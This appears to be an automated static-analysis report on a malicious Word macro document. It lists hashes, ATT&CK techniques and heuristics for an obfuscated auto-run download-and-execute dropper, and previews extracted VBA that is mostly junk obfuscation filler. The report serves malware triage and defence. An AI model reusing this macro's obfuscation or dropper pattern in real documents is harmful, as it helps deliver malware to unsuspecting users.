Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 6202bf91e767cf2e…

MALICIOUS

Office (OLE)

461.0 KB Created: 2018-10-17 13:27:00 Authoring application: Microsoft Office Word First seen: 2019-04-18
MD5: eea50d10b1239a0cb0b78ae0280a9886 SHA-1: 215946d0ad959be10bb5731da62625beac3ecddf SHA-256: 6202bf91e767cf2eb2f9e870c80ddea1fb3059fe03ea6c9c4b7265ac4abf8602
240 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1105 Ingress Tool Transfer T1204.002 Malicious File

The sample contains heavily obfuscated VBA macros, including a Document_Open auto-execution routine. Critical heuristics indicate that these macros are designed to download and execute a file from a URL. The obfuscation and download-and-execute behavior strongly suggest a malicious intent, likely to deliver a second-stage payload.

Heuristics 9

  • VBA macros detected medium 6 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA downloads and writes a file to disk critical OLE_VBA_HTTP_DROP_EXEC
    VBA reads an HTTP response body and writes it to disk (ADODB.Stream SaveToFile). Combined with the auto-exec/Shell paths this is a download-drop dropper even when the COM ProgIDs are built dynamically to evade keyword scanning.
    Matched line in script
        EkKJD = edMCHbB.responseBody
  • Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER
    Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
    Matched line in script
        Set KNQZnwA = CreateObject(MCPKIOyS)
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
        Set KNQZnwA = CreateObject(MCPKIOyS)
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Private Sub Document_Open()
  • Environ() call (env variable access) low OLE_VBA_ENVIRON
    Environ() call (env variable access)
    Matched line in script
        StxPRcdA = Replace(uyULxZTPis(StxPRcdA), "ZuTBpaeAuU", Environ(yMuIDXDS("A?AuEFlE XOGl)zq!UU bTRvsLlTi eXAz#Dr?  S s hKplPN-_dKrESr)IoyEnl fi$# Jiu JwWlO  zmecING ")))
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main Referenced by macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 206075 bytes
SHA-256: 22969869c04e327319b9e1b3c922c2986e7905de524a789f8aded5749e3a5a85
Detection
ClamAV: No threats found
Obfuscation or payload: likely
1002 of 1653 identifiers look randomly generated (e.g. 'vpbArPVgumqMGNTWswXm'); 68 string-concatenation chain(s) — consistent with name-mangling obfuscation.
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Private Sub Document_Open()
    aeBxPJOoVl = Space(18) + Left("Qtpt   ]  J_]J", 3)
    aeBxPJOoVl = Right("F O Pf", 3)
    aeBxPJOoVl = UCase(" t$Y&K    ) h(  ") + RTrim("!Ft_  D")
            For OIxgrO = 2 To 10
                

                vQituXopBa = RTrim("SM $P") + UCase("kne@u K@ x-jKxo ")
                rIkazvsnsWmS = Right("#(BZg", 4)
                vswTldcr = 81 + 38 + 71
            Next OIxgrO

    rIkazvsnsWmS = RTrim("&mWSakMOiIY B") + StrReverse("( % ] BS  Rm(Hgo")
            For YPMngd = 2 To 3
                While LfGhKk < 1
                    LCQPzoj = 25 + 59
                    WGMrjxMZsd = Right(" w(o )n", 4)
                    FSPeuNkjl = LTrim("TDotcm z n")
                    LfGhKk = LfGhKk + 2
                Wend

                GnfptZMgVLBD = 14 + 19 + 22 + 68 + 13
                IUdlkJdRsG = 7 + 29 + 87 + 66 + 72 + 59
                aeBxPJOoVl = RTrim("KH JYO (hY$") + UCase("VKA?Td&pK $Z@PdsV")
                uXEZzE = 72 + 17 + 59
                vswTldcr = RTrim("] $Hf!- i ^XpG?lL!B$") + UCase("ld HjD $Jx")
            Next YPMngd

    WbvSvsFuVGb = UCase("]aZcac#)c") + RTrim("ZPTx Ywt riZRB _U!A-")
    FUTEeF = UCase("-v)? mgebl (r T  m") + RTrim("w?  $fC^l $")
    LCQPzoj = 50 + 6 + 14 + 35 + 22 + 45
            For hjAoBj = 2 To 9
                wnahRuxNgBPS = UCase("n ?j y s!  [  #rR") + RTrim("coWFWYaFA sgq]Qk")
                vswTldcr = UCase(" [Gkyo_m%gEU") + RTrim(" Mutd? X  C pF")
                jzqjH = Right("NpWXCbXRLSNSpV ", 2)
            Next hjAoBj

    CfVCuWYfw "ZAJqXwB", "UvQSWMZo", "DVdmSfU", "ZUaoPHCFS", "EmycmWtUy", "xSjyHAKb", "pHCJFxWzYy", "obKICXY", "ySKXckaf"
            For WzYyIV = 2 To 4
                While dDrxDe < 2
                    ANOYBeiAU = Left(" O[T gd Mt", 4) + LTrim("U% Hb&y_ NoB[_vLaK(")
                    FUTEeF = RTrim("k_ g)ayC DD-?!") + StrReverse("UOQguG   H_NXE  H")
                    wnahRuxNgBPS = LTrim("?B BMte?H) m[Z")
                    uXEZzE = RTrim("q VNAs .  f ^Or j U") + UCase("D FAtP?)PJqUs")
                    dDrxDe = dDrxDe + 1
                Wend

                IiDVE = RTrim("J  NEs   A(?x(&I ") + UCase("BLR. T$XS^T?zkSgUC")
                uXEZzE = UCase("Qdln QH  r") + RTrim("   tw   ]  ")
                aeBxPJOoVl = Left("-V r @oyd KM[ nUT", 5) + LTrim("xJyS$Y O# WS DzZ?sb")
            Next WzYyIV

            While MYEKdW < 3
                For zIUSqC = 2 To 8
                    FSPeuNkjl = Left("y eAB  k_XLJ", 4) + LTrim("kyyqZzMQou     _eiS ")
                    cfHGAHb = 78 - 36 - 11 - 30
                    yVsytfSGAItW = LTrim("_$fjsM tL#VzpsF")
                    jzqjH = Space(18) + Left("x vbhv", 2)
                    uXEZzE = RTrim("o% TonC") + StrReverse("&f TB]PEt")
                Next zIUSqC

                QXUlQIRy = LTrim("TC G[#  ")
                LCQPzoj = UCase("  AsW%i") + RTrim("Y ? __! E# mEs")
                DfryiQYWx = LTrim("^ K $P$")
                uUJwF = Right("S Ff   g.z[( ", 5)
                

                MYEKdW = MYEKdW + 1
            Wend

    LCQPzoj = UCase("YP  G Fzof  ") + RTrim("uvo MB U")
    vQituXopBa = UCase("(u?wlyxnd") + RTrim("V.n OxPA]D mDq rJhj")
    ivJqOi = Space(14) + Left("L?Z[& sq", 4)
            While FaBWUt < 5
                While abwTrm < 1
                    cfHGAHb = Right("by  H $PG eP$", 5)
                    vQituXopBa = Left("-kA   nr )", 4) + LTrim("WZ C (JeA")
                    jzqjH = RTrim("  [Xv j?") + StrReverse("p uy[m")
                    abwTrm = abwTrm + 1
                Wend

                uXEZzE = 82 + 79 + 36 + 36 + 57 + 41
                jzqjH = Right("]OjP.O X ", 5)
                jzqjH = Right("M  qRn..", 5)
                jzqjH = Space(3) + Left(" W!%_# lssmuBY^L", 5)
                IUdlkJdRsG = UCase("O  Cpa uU  ") + RTrim("%hroQ ")
                FaBWUt = FaBWUt + 2
            Wend

    cfHGAHb = LTrim("jLo s ASyRr   Hj   (")
    vQituXopBa = LTrim("rFsdj!mPKN gs B K")
            While ARKWaH < 1
                For CxCeqr = 2 To 7
                    WbvSvsFuVGb = Left("z? rAR!%Pq", 4) + LTrim("DCS  !(tnGC)z")
                    

                    fqXDJn = Right("h _C e qB(  LrKX YU", 4)
                    QXUlQIRy = 94 - 65
                Next CxCeqr

                uXEZzE = LTrim("y z -")
                cfHGAHb = RTrim("^WCrbEX") + StrReverse("E#-gFGgr_ tOfZ  rpI")
                WGMrjxMZsd = Space(12) + Left("hAyo&_  ]!voW", 4)
                ARKWaH = ARKWaH + 1
            Wend

            For BHmAZm = 2 To 6
                rIkazvsnsWmS = RTrim(" _r .&Av) ") + UCase("HD-I WGhiJv )")
                fLqiolHNXLop = RTrim("%WGKfNo[ [ pM ") + StrReverse("SUK%t&z)")
                uXEZzE = 73 - 59 - 73 - 72 - 59
                FUTEeF = 3 + 34 + 14 + 51 + 62
            Next BHmAZm



End Sub



Attribute VB_Name = "Module1"
Sub snICMN(NVxyYL As Boolean, DVYLXM As Double, GFykPID As Boolean, DEtgRw As Double)
    uXEZzE = Space(3) + Left("M-JirI", 5)
    IUdlkJdRsG = LTrim("PJp W$Tp df")
    vQituXopBa = RTrim(" ?Z RL(G  ") + UCase("d QG?v  f  TGU  R ")
    jzqjH = Left("YS$gD (mT_yCnR", 4) + LTrim(" D  n- QQ^v.uS")
    While JkvIxP < 4
        For lstWYr = 2 To 5
            GnfptZMgVLBD = 1 + 31 + 5 + 36
            fqXDJn = Right("W rx yGP Ww v_!Oe ", 3)
            GnfptZMgVLBD = LTrim("Ln ^KDrJ% sDU w( j")
            

            fLqiolHNXLop = Right("FV )UcP", 4)
        Next lstWYr

        uXEZzE = LTrim("dlX? K")
        uXEZzE = 44 + 89 + 11 + 64 + 0
        WGMrjxMZsd = 24 - 99 - 28 - 5 - 48 - 24
        ANOYBeiAU = Left("tDTDbbV ", 3) + LTrim("s% ^ &^Ie")
        JkvIxP = JkvIxP + 2
    Wend

    muubfcJyr = 43 - 3 - 2
    

    vswTldcr = RTrim("Ypxq_N_M  ") + StrReverse("C (  F PC")
    cfHGAHb = 96 - 63 - 54
    IiDVE = 43 - 100 - 50 - 30
    While bTlmkt < 2
        For dxKEuo = 2 To 5
            QXUlQIRy = RTrim("aISG E  ?B$") + UCase("M #Gj  !w ?")
            jzqjH = Right("@j  (v", 4)
            FSPeuNkjl = RTrim("  YYAo.e") + UCase("CNXApOFZ")
            aeBxPJOoVl = 94 + 47
        Next dxKEuo

        GnfptZMgVLBD = 100 - 52 - 55 - 84
        

        ANOYBeiAU = RTrim("Q&xx_]u  #e") + StrReverse("@w%M cM[(  o#sC ? ")
        bTlmkt = bTlmkt + 3
    Wend

    QXUlQIRy = RTrim("  H%_D(pPAKE k]  ") + UCase("nM%eh  ( st[  g")
    wnahRuxNgBPS = RTrim("ggik J") + UCase("zNb@L # PPc  P")
    muubfcJyr = Space(4) + Left(" lW&j ", 4)
    lzAJdu = RTrim("x w o eUrn()kner G F") + StrReverse(" HBv E B^ d  um ")
End Sub



Attribute VB_Name = "Module2"

Sub CfLfBg(HfJCUXe As Boolean, KGxlzoo As String, PhZEWF As Integer)
    iusouxiFFQBn = UCase("s  )l? Q  ") + RTrim("RLz@U[ctB y xGmQj")
    DfryiQYWx = LTrim("  (TiFM(@bQYt S Mq ")
    DfryiQYWx = Space(6) + Left("  ]EEVxy  TsidH j ", 3)
    

    yVsytfSGAItW = Left(" BV knfK&$kwe", 3) + LTrim("Uz (Gh R")
    QXUlQIRy = Space(17) + Left("As! hg a@?%r _ bf )", 2)
    muubfcJyr = Space(19) + Left(" w-r-X%d  J[ b", 3)
    srWnjwJldxun = LTrim("yKw uT")
    vQituXopBa = RTrim("&R!Vnnqx. I @ (  ") + UCase("]Z&e[tu ")
    iusouxiFFQBn = 86 + 74 + 23
    While rmIVzH < 1
        For YvaEMh = 2 To 5
            iusouxiFFQBn = Right("he.cDE xqeh]", 3)
            FUTEeF = RTrim("efo  F   L& eQ") + StrReverse("f$  ]h s#? P? ")
            

            QXUlQIRy = 56 - 30 - 90 - 74
            WGMrjxMZsd = 27 + 17 + 87 + 77 + 9 + 94
        Next YvaEMh

        WGMrjxMZsd = LTrim("gP  ( KV k# G")
        ANOYBeiAU = 17 + 0 + 11 + 10 + 48 + 14
        WbvSvsFuVGb = Space(11) + Left(" O h%Bee eGw(rPD", 2)
        IUdlkJdRsG = RTrim("  QyT&") + StrReverse(" T ]b X!czTn")
        rmIVzH = rmIVzH + 2
    Wend

    lzAJdu = Left("A  V[  ", 5) + LTrim("M r[ GSy) G kwbgY  b")
    GnfptZMgVLBD = RTrim("L    @ pv &) Arn") + StrReverse(" I VDYFlSl^UkG-gmAw ")
    While dAtkXO < 4
        For EGWXiD = 2 To 10
            

            

            IUdlkJdRsG = Right("or @ Gldxktm", 3)
        Next EGWXiD

        uXEZzE = Right(" nm  ", 3)
        vswTldcr = Space(17) + Left(" iX[jdFpqxv)zaGh", 5)
        wnahRuxNgBPS = 22 + 77
        dAtkXO = dAtkXO + 1
    Wend

    

    muubfcJyr = Right("R @Ag sHb", 3)
    uXEZzE = Right("lNd oTY e s$L  yU^", 2)
    IUdlkJdRsG = 38 + 72 + 73 + 46
End Sub



Sub hVJMiy(gpxgIl As Double, ucjtqA As Integer, wOkZjp As Integer)
    ivJqOi = UCase("!Bc&pY]") + RTrim(" Cch jSgo_ nIg U ")
    DfryiQYWx = RTrim("Y[]n- tb   x") + StrReverse("%m  NHaya")
    FUTEeF = 83 - 41 - 11 - 49
    muubfcJyr = Left("Q!_M  em $Xoz &  ", 4) + LTrim("P(ut O[bl  L ")
    uUJwF = LTrim("f -@k!dGVBtB^ ^ X ")
    muubfcJyr = 73 + 10 + 4 + 69 + 14 + 84
    WGMrjxMZsd = RTrim("S]%eL") + UCase("q] JO G]lBN  q(s ^  ")
    For fDLtNY = 2 To 3
        For wGkpFU = 2 To 9
            fLqiolHNXLop = RTrim(" e.S @H Dd ?eXT )  ") + UCase("r@n^z-)- u!Z^!z%&nl ")
            aeBxPJOoVl = 83 - 73
            muubfcJyr = RTrim("yT Wj  ^") + UCase(" HO  oAq")
            srWnjwJldxun = Left("xl    y@ ( )re y[", 4) + LTrim(" pqUAbgriw D_M  ")
        Next wGkpFU

        wnahRuxNgBPS = LTrim("Q$jDS^peI ?")
        lzAJdu = RTrim("bG# )!# r%-") + StrReverse("Y  ye  T")
        IUdlkJdRsG = UCase("c) B vrzW oLH f I") + RTrim(" c H N  Cgg K!kw  ( ")
        muubfcJyr = 1 - 57 - 62 - 86
        

    Next fDLtNY

    For pPVgEG = 2 To 6
        rIkazvsnsWmS = 83 - 82 - 75 - 63
        wnahRuxNgBPS = RTrim("e_uhb- Re") + UCase("L&tG wN% i")
        fLqiolHNXLop = 17 - 56 - 80 - 7 - 1
        jzqjH = 36 + 6
    Next pPVgEG

    vswTldcr = UCase("jAB(c  a MP (   TW[") + RTrim(" kXkAZIkN")
    FUTEeF = 22 + 70 + 15 + 21 + 34 + 20
    ANOYBeiAU = UCase("p)  F@ B AvR ?^nI") + RTrim(" Qe!rpaUI")
    vQituXopBa = LTrim("   X(tQIoKB ph ")
    yVsytfSGAItW = Space(19) + Left("w ZT_V.chm.f", 4)
    WGMrjxMZsd = 86 - 3
    uXEZzE = 61 - 61 - 76 - 89 - 45 - 39
    

    ANOYBeiAU = RTrim(" ak Y vkeMsp[ ") + UCase(" P%U(.x Nc  BpM")
    aeBxPJOoVl = 70 + 32 + 95 + 15 + 45 + 39
End Sub



Function WliRaV(EMmMxoC As Double, tUOCtvR As Double, LRfXLR As Integer, FUVAPJs As String, yneyuhP As Integer) As String
    ANOYBeiAU = Right("-uu!sP", 3)
    QXUlQIRy = Space(14) + Left("nhKr! ", 5)
    uXEZzE = UCase(" a L  _S.   zg@ qLu") + RTrim("urY yzENmGMU!ESzxd")
    vQituXopBa = 38 - 14 - 15
    IUdlkJdRsG = RTrim("[Gm vo RL?gC&U lw(a ") + UCase("   r(  -  NKpt")
    QXUlQIRy = UCase("mm tNfhv[L  ") + RTrim("  Llq  X.G")
    

    DfryiQYWx = Space(2) + Left("J($ZGmW", 4)
    QXUlQIRy = RTrim("ERNjPFZ_ SLLQ") + StrReverse("hmqs WgN .")
    QXUlQIRy = RTrim("(u!)O &") + UCase(" TpoEs Ubh CV")
    WGMrjxMZsd = Space(11) + Left("@ da N&aeYp  ", 3)
    srWnjwJldxun = LTrim("p uR  ar Vx% _Xck^ ")
    For ZqBelZ = 2 To 4
        While DUMkPu < 3
            IUdlkJdRsG = UCase("zxt F q") + RTrim("FEvf   jL E?")
            

            wnahRuxNgBPS = Right("sX[u   !$e Cz  MIay", 3)
            

            DUMkPu = DUMkPu + 1
        Wend

        

        WGMrjxMZsd = 49 + 82 + 95
        FSPeuNkjl = Space(9) + Left("wMdkQq![l", 4)
        WbvSvsFuVGb = Space(6) + Left(" f  YKZnJB  H S", 2)
        WbvSvsFuVGb = Left("A !] )eEGF   Eb", 3) + LTrim("Da NbzpJGx ")
    Next ZqBelZ

    wnahRuxNgBPS = Right("G XhUUbpn(f ?", 5)
    jzqjH = LTrim(" A HA @ ")
    iusouxiFFQBn = LTrim("HmU A ")
    lzAJdu = UCase("qUs&_B Mt b  SDe") + RTrim("h d l  ls S LS  u) p")
    muubfcJyr = 76 - 92 - 100 - 76
    WliRaV = "vesfnGZKfrqRQgMbnL"
End Function



Sub OtNosK(qbARvb As Integer, DTSuffC As Boolean, XEnluCb As Double)
    uUJwF = RTrim("eYDIJT.Jyl  Hd!!") + StrReverse("wFqXO")
    lzAJdu = UCase("M^.PV)   g[  m") + RTrim("BdEj$ ")
    srWnjwJldxun = Right("OP   ouar[ObJiX   &C", 3)
    uXEZzE = Space(17) + Left("^[w -M", 5)
    FSPeuNkjl = RTrim("f  e]V^V") + StrReverse("o[ Vsq")
    uXEZzE = 7 + 15 + 26
    IiDVE = Right("_)yC i (H !nk x  ", 2)
    yVsytfSGAItW = LTrim("hyzo#os].h$_H!  ")
    FSPeuNkjl = LTrim("OQcNZd")
    ivJqOi = 20 + 59
    FUTEeF = RTrim("l at  ! Zuf") + StrReverse("wyLnq  ijH")
    For gZsrxV = 2 To 5
        While mbFGaX < 4
            iusouxiFFQBn = Space(2) + Left("KZx h]L    Vi", 2)
            FUTEeF = RTrim("$J)iUwQ") + StrReverse("@ v   b%  ")
            vQituXopBa = Right("norLTC", 4)
            mbFGaX = mbFGaX + 3
        Wend

        QXUlQIRy = UCase(" N ^  XHhH") + RTrim("HXdT)")
        WGMrjxMZsd = Space(6) + Left(" Ne#aP?", 4)
        

    Next gZsrxV

    IUdlkJdRsG = 51 + 4 + 38
    WbvSvsFuVGb = Left("j s O c", 3) + LTrim("k# tUpu^")
    

    ANOYBeiAU = 14 + 94 + 18 + 38 + 42 + 95
End Sub



Attribute VB_Name = "Module3"

Sub QQpRuV(PxEFzI As String, YcddJv As Boolean, aFicUn As Integer)
    uUJwF = 15 - 59
    FSPeuNkjl = Right("[hAM(Iy ji nLU ", 5)
    ivJqOi = 92 + 66
    DfryiQYWx = 4 - 46
    aeBxPJOoVl = 53 + 33 + 75 + 19 + 49 + 86
    FUTEeF = Space(14) + Left("d [T dbdUArX  zJ A- ", 4)
    IiDVE = LTrim("aPP C?WBc UL    wb")
    srWnjwJldxun = RTrim("bKo@I ") + StrReverse("bcd  X ")
    ANOYBeiAU = Right("% K? YX T  ", 5)
    aeBxPJOoVl = RTrim("XIN[m lt!DZD#.") + UCase(" G  gKru  __I-?W")
    vswTldcr = RTrim("@ O ByF UMj(iC ji") + UCase("r hj xqvQ @m")
    vQituXopBa = Space(8) + Left("x  & NW e.H KJu   q", 5)
    yVsytfSGAItW = RTrim("I c ek   ") + StrReverse("ya[ G fm ")
    LCQPzoj = RTrim("pz CrnW Y") + UCase(" nfK OYAESfU  Z% ")
    FUTEeF = RTrim("HRy u     -]R") + StrReverse("Ox I lCk  h")
    rIkazvsnsWmS = Right("R#cY  .TA   K  w  ", 2)
    FSPeuNkjl = 65 - 12 - 46 - 16 - 50 - 6
    jzqjH = 17 + 60
    fqXDJn = Space(4) + Left("bqYHUx % g    -", 5)
    fqXDJn = 70 + 94 + 62 + 32 + 73
End Sub



Sub JhAfMh(gjYVwD As String, XDJPYen As Integer, fcuxnIJ As Double)
    

    IiDVE = LTrim("c[t?^kb) xn[Lw")
    ANOYBeiAU = 3 + 11 + 12 + 75 + 29
    ivJqOi = UCase("B q.H#D@ C bJ Cc") + RTrim("y  LN G")
    While YhvKDy < 3
        uUJwF = Left("Tai Au$", 5) + LTrim(" gID    Y^x g WDh")
        yVsytfSGAItW = RTrim("YLR m-Bn Mnq") + UCase("l!bzvn")
        LCQPzoj = RTrim("e [Mn k QqF p_k# ") + UCase("eO#U Cb)  w IE")
        fLqiolHNXLop = 97 - 63 - 1 - 69 - 4
        uXEZzE = LTrim("t $  u t(k@ h(_mZ% ")
        YhvKDy = YhvKDy + 1
    Wend

    WbvSvsFuVGb = 16 + 27 + 70 + 32
    

    For PKPpQx = 2 To 5
        While UyEVQl < 5
            iusouxiFFQBn = Space(13) + Left("nU]WV oAj $iSyk j", 4)
            aeBxPJOoVl = Space(19) + Left("sz fQ  Vehi^t", 4)
            ANOYBeiAU = RTrim("t U D) v kDOl&lzY") + UCase("i( da   ?#Rn &U&c")
            iusouxiFFQBn = RTrim("  #l up") + UCase("( ^ )kYTlT$l-ue")
            UyEVQl = UyEVQl + 3
        Wend

        

        rIkazvsnsWmS = 74 + 86 + 60
        

    Next PKPpQx

    QXUlQIRy = UCase(" !%ZZ   k  _fi") + RTrim("g    y cR.fn")
    DfryiQYWx = RTrim("hba$ ^UAX BP  n #h") + StrReverse("kMR w (C #E.aQlO) x@")
    fLqiolHNXLop = RTrim(" lPNG") + UCase("c- DQh  bn]  g")
    vswTldcr = Left("X  @%W-Z&^K", 4) + LTrim("R ZK-ldS(l k")
    yVsytfSGAItW = 83 - 44
    While eObBtb < 5
        For zlsQGF = 2 To 9
            uXEZzE = RTrim("oPgP hi]^yNSa") + UCase(" -fR c- RxC R")
            rIkazvsnsWmS = RTrim("]k@EAsr V!Sy )") + StrReverse("DNcoI")
            jzqjH = UCase(" y(m ") + RTrim("Ky#fI  S  ")
            IiDVE = Right("#mRD]J ^ G TKs -", 2)
        Next zlsQGF

        IUdlkJdRsG = Left(".iH mzmUaL TP. HD ", 4) + LTrim(".@ %A m   Aor%o")
        ivJqOi = RTrim("a   QTzCZ  CWE [Vigh") + StrReverse("]n O^ MlyAGZhQ")
        

        eObBtb = eObBtb + 1
    Wend

    While FwsUrL < 3
        

        vQituXopBa = LTrim("MY N-")
        fqXDJn = 21 + 65 + 6 + 83
        FwsUrL = FwsUrL + 1
    Wend

    While XoDLma < 1
        For AZXMFH = 2 To 8
            QXUlQIRy = Right("s[ XChZTq] H x r ", 2)
            WbvSvsFuVGb = Left("O zx I  .%Rbo Ya  ", 3) + LTrim(" QbEWCC NF ")
            

            fqXDJn = 11 + 80 + 13 + 86
        Next AZXMFH

        muubfcJyr = Space(15) + Left("EV  YQiJI@nk", 2)
        yVsytfSGAItW = RTrim("zy v t?&fE[rSn?wK") + UCase(" uP Yz&QR%EC ")
        aeBxPJOoVl = Left(" c ]Xc zL_d [O", 2) + LTrim(" A zqH Xmy")
        WbvSvsFuVGb = Left("Y-Z#QzWqm", 3) + LTrim("Zhv?Bo^i.h dD  g g")
        WbvSvsFuVGb = RTrim("?xg t ab y ") + StrReverse("S i  G]  qA  - &")
        XoDLma = XoDLma + 1
    Wend

    muubfcJyr = RTrim("h@VyK.") + StrReverse("LI -T")
    

End Sub



Function gypQBG(izmYtcv As Integer, HSNcQzu As Double, aoOWzGF As String, AQPzEe As Boolean) As String
    WGMrjxMZsd = Space(6) + Left("W?  ^fqvlk ", 3)
    QXUlQIRy = Space(3) + Left("  ra kV ) & @ ", 2)
    fqXDJn = 50 - 96 - 95 - 24
    

    DfryiQYWx = UCase("Q^ ib_Dy  kKHM.Oo") + RTrim("w-!rJhV$jf  cfU")
    yVsytfSGAItW = UCase(" nAxKc %X CMW)J ") + RTrim("L awb FV  ")
    QXUlQIRy = UCase("Q  KKj  &GE(Vy  (o.n") + RTrim("RjnZ&.s")
    vQituXopBa = RTrim(" Dn D cmaHm] ^f") + UCase("Rr  k__  (  Rqv ")
    QXUlQIRy = Right("?oXPfi_  r@A k", 4)
    cfHGAHb = Right("d!biJ[&W_", 5)
    uXEZzE = Left("(W  .a ", 2) + LTrim("zgk)u ]")
    cfHGAHb = UCase("BdP iT") + RTrim("#Bi?&G cm")
    WGMrjxMZsd = UCase("a#jO$ ) KKZ") + RTrim("TF? P  vlx ")
    FUTEeF = Left("A o %GsOpKub  Nj", 3) + LTrim("IK   E W( n  r")
    LCQPzoj = 45 - 87
    jzqjH = Right("$(-bujm_h _ ID", 3)
    vswTldcr = 97 - 13 - 24 - 68 - 49
    wnahRuxNgBPS = UCase("(@ tzRO wTH[y]c") + RTrim("I XDLi rD O  LhbDzY")
    rIkazvsnsWmS = RTrim("]  [X&l#Y)KdC ") + StrReverse("meC S")
    vswTldcr = UCase("tT  QOx-N !H  cs") + RTrim("lu!f$L C  _Ls[   ")
    gypQBG = "wnWbTUCXBFmmnUstkjEC"
End Function



Attribute VB_Name = "Module4"

Sub DePkkD(UPjxeqK As Double, flVXdKS As String, lbuUfW As Double, fIZItJ As Double, BNSuWk As String)
    cfHGAHb = 40 - 8 - 19 - 76 - 5 - 48
    iusouxiFFQBn = 27 - 51 - 80 - 83
    IiDVE = Right("AMckng uh%J ", 5)
    QXUlQIRy = RTrim("aAXKm  ") + UCase("Z$]XFmEZuZF  (")
    WbvSvsFuVGb = RTrim("yuHnjbo ") + UCase("nX #z  Z -_i@ m")
    fLqiolHNXLop = Space(10) + Left("To nOeKc ", 4)
    fLqiolHNXLop = RTrim("wR-W ") + StrReverse("KI ZTTvU RE")
    muubfcJyr = LTrim("Q p^Zl")
    ANOYBeiAU = UCase("Yv eyOH  #EcS") + RTrim("kbDq I i( FZwXo?G!(u")
    For KQlXCS = 2 To 6
        muubfcJyr = Space(11) + Left("LhnFVk ", 5)
        DfryiQYWx = Left("   HDt [h ^ x ^to", 3) + LTrim("CX[-@ o P")
        wnahRuxNgBPS = Left("nTIl%n", 4) + LTrim("CB&V    in-sW [-MI")
        IiDVE = 61 + 24
        FUTEeF = 68 + 69
    Next KQlXCS

    iusouxiFFQBn = Right("U ]i y^     ", 3)
    cfHGAHb = RTrim("_RnJ ") + UCase("yAq .mqAf")
    uUJwF = RTrim("WrT _  Mbpvs.Wzuk.-") + StrReverse("p tygcA")
    FSPeuNkjl = Left("aj  .Q", 2) + LTrim("x ch  ?YU")
    QXUlQIRy = Left("Zr] z MzDUAK I  h $", 5) + LTrim("    v N xm _lj  ")
    GnfptZMgVLBD = Right("Y W ] TK", 2)
    wnahRuxNgBPS = 95 + 96 + 35 + 48 + 11 + 46
    srWnjwJldxun = RTrim("[%tZ   ") + UCase(" IrnD dZ)f")
End Sub



Function FzOKGF(xTKKQo As Integer, NSllIbX As Double) As String
    For FbaYIe = 2 To 4
        While kBWKbu < 2
            jzqjH = UCase("(.cLE XMXwr  f") + RTrim("(x  mjp % .EqBtTvVT@")
            IUdlkJdRsG = 43 + 46 + 6 + 5
            fLqiolHNXLop = 92 + 48 + 18 + 45 + 14
            uUJwF = RTrim("   #y^  gJAVmC%") + UCase("@uLwpsOgcq M Bu@at")
            muubfcJyr = Right(" cIn x?kh@", 3)
            kBWKbu = kBWKbu + 2
        Wend

        iusouxiFFQBn = Space(9) + Left(" Pp&@", 3)
        iusouxiFFQBn = Right("jidO CQNdVS sdgr FMM", 2)
        cfHGAHb = Space(12) + Left("I ASsmmXI[Q", 4)
        iusouxiFFQBn = 83 + 44 + 51
    Next FbaYIe

    LCQPzoj = LTrim("NP)Sg Yla  ")
    While ErzqJH < 1
        While kwPRCR < 2
            IUdlkJdRsG = LTrim("wcsV_is   EDg TW ")
            ivJqOi = RTrim("w (  ") + StrReverse("  U X")
            

            wnahRuxNgBPS = 79 + 35 + 89
            DfryiQYWx = LTrim("q%N)L gk_lXGO [")
            kwPRCR = kwPRCR + 2
        Wend

        IiDVE = 86 + 11 + 77
        WGMrjxMZsd = UCase("[-qhrXb$ Qa ") + RTrim("  c &PuDeilbN")
        vQituXopBa = LTrim("Sg x_fB@-o!I")
        FUTEeF = Space(9) + Left(" z$_x", 2)
        iusouxiFFQBn = 30 - 84 - 38 - 34 - 6
        ErzqJH = ErzqJH + 3
    Wend

    While njDvKr < 4
        muubfcJyr = Space(19) + Left("A] .%D ^", 4)
        uUJwF = Left("sqt# ", 5) + LTrim("dRdFSrW YT^H rKw)VDJ")
        vQituXopBa = RTrim(" xeL(m") + UCase("fxS)  &z")
        DfryiQYWx = UCase("^T_ p -] ah") + RTrim("I UfVfK$w")
        IUdlkJdRsG = Right(" qI .", 2)
        njDvKr = njDvKr + 3
    Wend

    fLqiolHNXLop = Space(17) + Left(" zf   EfPzB", 4)
    WbvSvsFuVGb = Space(15) + Left("MmUpJ[FPr)ZOYb", 4)
    iusouxiFFQBn = Space(7) + Left("lgnS sqojHC_OK_cm ", 3)
    

    While yuikiB < 3
        muubfcJyr = Right("  pDJ?@ (Ceg&EUisZY", 5)
        FUTEeF = UCase("IUDONm _DC") + RTrim("QRH%%E[  #c Tw&")
        vQituXopBa = 57 - 4 - 55
        yuikiB = yuikiB + 3
    Wend

    GnfptZMgVLBD = RTrim("DXXJJo%dUh  _@.wM") + UCase("vUT esKA% tSg$vB   q")
    uUJwF = Space(17) + Left("Cf wJBZoBu(", 4)
